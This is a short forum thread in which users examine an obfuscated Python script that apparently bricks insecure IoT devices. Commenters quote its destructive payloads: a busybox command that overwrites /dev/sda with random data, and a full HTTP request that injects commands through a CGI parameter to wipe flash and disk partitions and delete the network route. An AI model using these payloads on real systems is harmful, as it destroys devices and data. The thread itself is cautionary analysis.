4 ms·
just found this: https://github.com/JeremyNGalloway/mod_plaintext.py https://github.com/JeremyNGalloway/mod_plaintext.py edit: I would recommend extreme cautio
by pdkl95 9y ago
just found this: https://github.com/JeremyNGalloway/mod_plaintext.py https://github.com/JeremyNGalloway/mod_plaintext.py
edit: I would recommend extreme caution with that file. I'm still reading, but strings like this are worrying:
'busybox cat /dev/urandom >/dev/sda &'
- AlexCoventry 9y agoThanks.
- laretluval 9y agoFascinating. What's up with all the stuff like "if 81 - 81: ..."? Won't that just evaluate to false and never run?
- marten-de-vries 9y agoExactly. It's there to (very mildly) confuse you.
- sattoshi 9y agoperhaps that's how vulnerable devices were bricked?
- Operyl 9y agoHoly obfuscated Python, that's quite the jumbled mess. This is going to be a fun one to pick apart. I don't think the string is .. worrying on its own given that, you know, this thing is meant to kill IOT/etc devices that are insecure. I'd argue that just given the source (the internet) is enough reason to be wary.
- catfood 9y agoCheck this one out: 'GET /cgi-bin/supervisor/CloudSetup.cgi?exefile=(cat%20/dev/urandom%20%3e/dev/mtdblock3%20%26);(cat%20/dev/urandom%20%3e/dev/mtdblock4%20%26);(cat%20/dev/urandom%20%3e/dev/mtdblock6%20%26);(cat%20/dev/urandom%20%3e/dev/sda2%20%26);((sleep%2017;route%20del%20default)%20%26) HTTP/1.0\r\nCookie: SSID=%%CUSTOM1%%\r\n\r\n'